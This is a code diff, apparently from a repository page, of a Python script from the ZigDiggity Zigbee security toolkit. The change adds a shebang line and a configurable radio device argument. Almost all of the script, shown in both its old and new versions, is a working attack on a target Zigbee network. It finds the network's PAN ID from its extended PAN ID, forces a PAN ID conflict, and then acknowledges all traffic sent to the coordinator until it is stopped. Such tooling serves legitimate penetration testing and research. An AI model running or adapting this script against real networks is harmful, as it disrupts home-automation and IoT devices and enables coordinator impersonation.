|
1 | | -import os |
2 | | -import sys |
3 | | -sys.path.append(os.getcwd() + "/zigdiggity") |
4 | | - |
5 | | -import time |
6 | | -import signal |
7 | | -import argparse |
8 | | -from scapy.layers.dot15d4 import * |
9 | | -from scapy.layers.zigbee import * |
10 | | - |
11 | | -from zigdiggity.radios.raspbee_radio import RaspbeeRadio |
12 | | -from zigdiggity.radios.observer_radio import ObserverRadio |
13 | | -from zigdiggity.observers.wireshark_observer import WiresharkObserver |
14 | | -import zigdiggity.crypto.utils as crypto_utils |
15 | | -from zigdiggity.misc.actions import * |
16 | | -from zigdiggity.packets.utils import get_pan_id, get_source |
17 | | -from zigdiggity.interface.components.logo import Logo |
18 | | - |
19 | | -parser = argparse.ArgumentParser(description='Perform an acknowledge attack against the target network') |
20 | | -parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use') |
21 | | -parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target') |
22 | | -parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='The Extended PAN ID of the network to target') |
23 | | -args = parser.parse_args() |
24 | | - |
25 | | -logo = Logo() |
26 | | -logo.print() |
27 | | - |
28 | | -hardware_radio = RaspbeeRadio("/dev/ttyS0") |
29 | | -radio = ObserverRadio(hardware_radio) |
30 | | - |
31 | | -if args.wireshark: |
32 | | - wireshark = WiresharkObserver() |
33 | | - radio.add_observer(wireshark) |
34 | | - |
35 | | -def handle_interrupt(signal, frame): |
36 | | - global interrupted |
37 | | - print_notify("Exiting the current script") |
38 | | - interrupted = True |
39 | | - |
40 | | -CHANNEL = args.channel |
41 | | -TARGET_EPAN=args.epan |
42 | | - |
43 | | -radio.set_channel(CHANNEL) |
44 | | - |
45 | | -panid = get_pan_by_extended_pan(radio, TARGET_EPAN) |
46 | | -if panid is None: |
47 | | - print_error("Could not find the PAN ID corresponding to the target network.") |
48 | | - exit(1) |
49 | | - |
50 | | -print_info("Performing a PAN ID conflict against the network") |
51 | | - |
52 | | -for attempts in range(10): |
53 | | - pan_conflict_by_panid(radio, panid) |
54 | | - time.sleep(2) |
55 | | - next_panid = get_pan_by_extended_pan(radio, TARGET_EPAN) |
56 | | - if panid != next_panid: |
57 | | - break |
58 | | - if attempts == 9: |
59 | | - print_error("All 10 attempts to perform a PAN ID conflict failed.") |
60 | | - |
61 | | -signal.signal(signal.SIGINT, handle_interrupt) |
62 | | -interrupted = False |
63 | | - |
64 | | -print_notify("Acking to all the traffic to PAN 0x%04x" % panid) |
65 | | -print_info("Use ctrl+c to stop the attack") |
66 | | -while not interrupted: |
67 | | - radio.receive_and_ack(panid=panid, addr=0x0000) |
68 | | - |
69 | | -radio.off() |
| 1 | +#!/usr/bin/env python |
| 2 | +import os |
| 3 | +import sys |
| 4 | +sys.path.append(os.getcwd() + "/zigdiggity") |
| 5 | + |
| 6 | +import time |
| 7 | +import signal |
| 8 | +import argparse |
| 9 | +from scapy.layers.dot15d4 import * |
| 10 | +from scapy.layers.zigbee import * |
| 11 | + |
| 12 | +from zigdiggity.radios.raspbee_radio import RaspbeeRadio |
| 13 | +from zigdiggity.radios.observer_radio import ObserverRadio |
| 14 | +from zigdiggity.observers.wireshark_observer import WiresharkObserver |
| 15 | +import zigdiggity.crypto.utils as crypto_utils |
| 16 | +from zigdiggity.misc.actions import * |
| 17 | +from zigdiggity.packets.utils import get_pan_id, get_source |
| 18 | +from zigdiggity.interface.components.logo import Logo |
| 19 | + |
| 20 | +parser = argparse.ArgumentParser(description='Perform an acknowledge attack against the target network') |
| 21 | +parser.add_argument('-c','--channel',action='store',type=int,dest='channel',required=True,help='Channel to use') |
| 22 | +parser.add_argument('-d','--device',action='store',dest='device',default='/dev/ttyS0',help='Zigbee Radio device') |
| 23 | +parser.add_argument('-e','--epan',action='store',type=lambda s: int(s.replace(':',''),16),dest='epan',required=True,help='The Extended PAN ID of the network to target') |
| 24 | +parser.add_argument('-w','--wireshark',action='store_true',dest='wireshark',required=False,help='The Extended PAN ID of the network to target') |
| 25 | +args = parser.parse_args() |
| 26 | + |
| 27 | +logo = Logo() |
| 28 | +logo.print() |
| 29 | + |
| 30 | +hardware_radio = RaspbeeRadio(args.device) |
| 31 | +radio = ObserverRadio(hardware_radio) |
| 32 | + |
| 33 | +if args.wireshark: |
| 34 | + wireshark = WiresharkObserver() |
| 35 | + radio.add_observer(wireshark) |
| 36 | + |
| 37 | +def handle_interrupt(signal, frame): |
| 38 | + global interrupted |
| 39 | + print_notify("Exiting the current script") |
| 40 | + interrupted = True |
| 41 | + |
| 42 | +CHANNEL = args.channel |
| 43 | +TARGET_EPAN=args.epan |
| 44 | + |
| 45 | +radio.set_channel(CHANNEL) |
| 46 | + |
| 47 | +panid = get_pan_by_extended_pan(radio, TARGET_EPAN) |
| 48 | +if panid is None: |
| 49 | + print_error("Could not find the PAN ID corresponding to the target network.") |
| 50 | + exit(1) |
| 51 | + |
| 52 | +print_info("Performing a PAN ID conflict against the network") |
| 53 | + |
| 54 | +for attempts in range(10): |
| 55 | + pan_conflict_by_panid(radio, panid) |
| 56 | + time.sleep(2) |
| 57 | + next_panid = get_pan_by_extended_pan(radio, TARGET_EPAN) |
| 58 | + if panid != next_panid: |
| 59 | + break |
| 60 | + if attempts == 9: |
| 61 | + print_error("All 10 attempts to perform a PAN ID conflict failed.") |
| 62 | + |
| 63 | +signal.signal(signal.SIGINT, handle_interrupt) |
| 64 | +interrupted = False |
| 65 | + |
| 66 | +print_notify("Acking to all the traffic to PAN 0x%04x" % panid) |
| 67 | +print_info("Use ctrl+c to stop the attack") |
| 68 | +while not interrupted: |
| 69 | + radio.receive_and_ack(panid=panid, addr=0x0000) |
| 70 | + |
| 71 | +radio.off() |
0 commit comments